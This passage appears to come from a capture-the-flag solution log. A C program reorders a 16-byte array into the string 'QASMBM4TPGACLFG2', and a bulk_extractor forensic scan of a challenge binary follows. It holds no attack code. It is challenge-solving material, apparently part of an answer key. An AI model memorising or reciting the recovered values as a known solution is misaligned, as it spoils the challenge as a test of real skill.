    0x03, 0x00, 0x08, 0x0A, 0x0C, 0x0F, 0x07, 0x09,
    0x0B, 0x01, 0x0E, 0x04, 0x05, 0x06, 0x02, 0x0D
};

static const uint8_t sp[16] = {
    0x41, 0x47, 0x47, 0x51, 0x43, 0x4C, 0x46, 0x34,
    0x53, 0x54, 0x4D, 0x50, 0x42, 0x32, 0x41, 0x4D
};

int main(void) {
    uint8_t ot[16];

    for (int i = 0; i < 16; i++) {
        ot[i] = sp[rp[i]];
    }

    printf("static const uint8_t final_ot[16] = {\n    ");
    for (int i = 0; i < 16; i++) {
        printf("0x%02X%s", ot[i], (i < 15) ? ", " : "");
        if ((i % 8) == 7 && i < 15) printf("\n    ");
    }
    printf("\n};\n\n");

    printf("static const char final_ot_ascii[17] = \"");
    for (int i = 0; i < 16; i++) {
        char c = (char)ot[i];
        printf("%c", isprint((unsigned char)c) ? c : '.');
    }
    printf("\";\n");

    return 0;
}

$> ./mainIV.elf
static const uint8_t final_ot[16] = {
    0x51, 0x41, 0x53, 0x4D, 0x42, 0x4D, 0x34, 0x54,
    0x50, 0x47, 0x41, 0x43, 0x4C, 0x46, 0x47, 0x32
};

static const char final_ot_ascii[17] = "QASMBM4TPGACLFG2";

PS C:\L3akCTF> & "C:\Program Files\bulk_extractor64.exe" -o .\bulkOUT\ .\main.elf
bulk_extractor version: 2.0.2
Input file: ".\\main.elf"
Output directory: ".\\bulkOUT\\"
Disk Size: 16176

...

All Threads Finished!
Elapsed time: 36.59 sec.
Total MB processed: 1046
Overall performance: 28.6 MBytes/sec 2.383 (MBytes/sec/thread)
sbufs created:   6221327
sbufs unaccounted: 0
Time producer spent waiting for scanners to process data:         0:00:30 (30.76 seconds)
Time consumer scanners spent waiting for data from producer:      0:00:19 (19.53 seconds)
Average time each consumer spent waiting for data from producer:  0:00:00 (0.00 seconds)
*** More time spent waiting for workers. You need a faster CPU or more cores for improved performance.
Total email features found: 52769